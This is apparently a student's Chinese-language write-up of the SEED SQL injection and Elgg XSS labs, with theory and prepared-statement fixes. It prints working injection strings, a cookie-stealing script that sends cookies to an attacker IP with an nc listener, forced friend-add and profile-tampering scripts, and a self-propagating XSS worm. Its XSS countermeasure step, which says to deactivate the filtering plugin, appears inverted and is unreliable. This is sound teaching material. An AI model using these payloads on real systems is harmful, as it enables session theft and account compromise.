1.知识点梳理与总结
(1)SQL注入
SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
- 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
- 利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
防御
SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面:
- 分级管理。对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
- 参数传值。程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量,从而抑制SQL注入。
- 基础过滤与二次过滤。对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。
- 使用安全参数。在进行SQLServer数据库设计时设置专门的SQL安全参数。
- 漏洞扫描。系统管理员可以采购一些SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。
- 多层验证。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。
- 数据库信息加密。传统的加解密方法大致分为三种:对称加密、非对称加密、不可逆加密。
(2)XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
- 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
- XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的phishing攻击而变得广为人知。
防御
- 基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同,这就是给XSS漏洞防御带来的困难,不可能以单一特征来概括所有XSS攻击。传统的XSS防御在进行攻击鉴别时多采用特征匹配方式,主要是针对JavaScript这个关键词进行检索,但是这种鉴别不够灵活,凡是提交的信息中各有JavaScript时,就被硬性的判定为XSS攻击。
- 基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误或漏洞,XSS攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击:
①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询,对不是规定格式、长度的内容进行过滤。
②实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
③确认接收的内容被妥善的规范化,仅包含最小的、安全的Tag,去掉任何对远程内容的引用,使用HTTP only的cookie。 - 客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端,这是它与其他模型最大的区别。之所以客户端安全性如此重要,客户端在接受服务器信息,选择性的执行相关内容。这样就可以使防御XSS攻击变得容易,该模型主要由三大部分组成:
①对每一个网页分配独立线程且分析资源消耗的网页线程分析模块;
②包含分层防御策略四个规则的用户输入分析模块;
③保存互联网上有关XSS恶意网站信息的XSS信息数据库。
2.实验过程
(1) SEED SQL注入攻击与防御实验
①熟悉SQL语句
- 开启apache服务
sudo service apache2 start
- 登录MySQL数据库
mysql -u root -p
- 查看mysql中已有的数据库
show databases;
- 查看Users数据库中的所有表
use Users;
show tables;
- 查看credential中所有记录
- 查询Name为Ted的相关记录
②对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 访问已经搭建好的Web页面:
www.SEEDLabSQLInjection.com
- 查看网页面源码(Ctrl+U)
用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验。
- 分析一下上述 php 页面
cd /var/www/SQLInjection/
vim unsafe_home.php
该程序针对admin和普通用户具有不同的处理方法。
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber,address,email,nickname,Password
FROM credential
WHERE name= '$input uname' and Password='$hashed_pwd'";
- 分析上面的SQL语句,进行SQL注入攻击
构造 Admin’#,并让 $input_uname 等于该值,这样会使得#后的Password判断不会执行。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录。
③对 UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- 分析更新页面的源代码:点击Edit Profile,Ctrl+U查看源代码
用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_edit_backend.php页面进行权限校验。
- 分析一下上述 php 页面
cd /var/www/SQLInjection/
vim unsafe_edit_backend.php
构造
$input_nickname
的值来进行SQL注入攻击。我们可以使$input_nickname
的值等于', Salary='20221902' where name='Admin'; #
,也就是把Admin的Salary改为20221902。
④SQL对抗:修复上述SQL注入攻击漏洞
本实验中修改sql语句的方法,是将参数与需要执行的动作或条件分开,从而避免的了sql注入的风险。
- 针对 unsafe_home.php 中的SELECT语句进行修改。
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
- 针对 unsafe_edit_backend.php 的UPDATE语句进行修改。
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
(2) SEED XSS跨站脚本攻击实验(Elgg)
①发布恶意消息,显示警报窗口
- 访问已经搭建好的Web页面:www.xsslabelgg.com
- 使用账号:Alice,密码:seedalice 进行登录
登陆成功。
- 点击Alice头像进入主页,再选择 Edit profile,最后在 Brief description中输入XSS攻击代码
<script> alert('20221902');</script>
。
保存后,出现警告弹窗。
②弹窗显示cookie信息:将cookie信息显示
<script>alert(document.cookie);</script>
③窃取受害者的cookies:将cookie发送给攻击者
<script>document.write('<img src=http://192.168.200.8:1902?c='+escape(document.cookie) + ' >');</script>
- 登陆Boby账号,账号:Boby,密码:seedboby。
- 添加Alice为好友:More->Members->Alice
- 监听1902端口
nc -l 1902 -v
- Boby访问Alice
成功获取Boby的Cookie。
④成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程
-
打开浏览器开发者模式:
Ctrl+Shift+E
-
添加Samy为好友
- 查看参数列表
申请参数一共有三个,分别是:friend, __elgg_ts, __elgg_token,别分代表着好友的id、时间戳以及token。
- 根据以上信息我们可以构造xss攻击代码如下:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
- 将上述代码放到Boby的 About me 下并选择 Edit HTML 模式,点击保存
- 登录Alice账号,测试攻击代码是否生效
因为在Boby的About me里面设置添加好友的id是Samy的,所以不论是谁点击Boby的主页,都是被动添加Samy为好友。所以想要受害者添加自己,只要把About me 里面id改为自己的id即可。
- 验证如下:
将Boby About me里面的id号改为自己的id。
- Alice访问Boby主页
Alice被迫添加Boby为好友。
⑤修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 修改About me内容,分析表单
About me里面的内容会填入description中。
- 构造xss攻击代码如下:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>I am 20221902zlx, I changed this content.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 登录Boby的账号,并浏览Alice的主页
Boby About me内容已被篡改。
⑥编写XSS蠕虫
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>I am 20221902zlx, I changed this content."+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
查看Boby的 About me已经被改变了,感染了xss蠕虫攻击代码。
⑦对抗XSS攻击
- 登录Admin的账号(账号:Admin 密码:seedelgg)
- 找到
Account
->Administration
->plugins
- 找到插件
HTMLawed
,将其关闭,设为Deactivate
状态,该插件主要是用来校验用户的输入输出,并且可以自动删除特定的标签。
- 再次登录Boby账号
发现XSS蠕虫攻击已经失效。
3.学习中遇到的问题及解决
问题1:SEEDUbuntu无法复制粘贴
- 解决方法:安装VMtools,详情见VMware Tools安装教程
4.学习感悟、思考等
-
本次实验相对而言比较有意思,一下子一个SQL注入就吸引了我的眼球,虽然自己写的代码中数据库平时不经常接触到,但是在这个大数据的时代,数据库安全变得尤为重要。如果信息系统的安全性不够,简简单单的一个SQL注入有可能就获得了国家机密。想想真是可怕。
-
在这个万物互联的时代,社交软件普遍被大家使用,XSS攻击也无处不在,因此保障网络空间安全非常重要!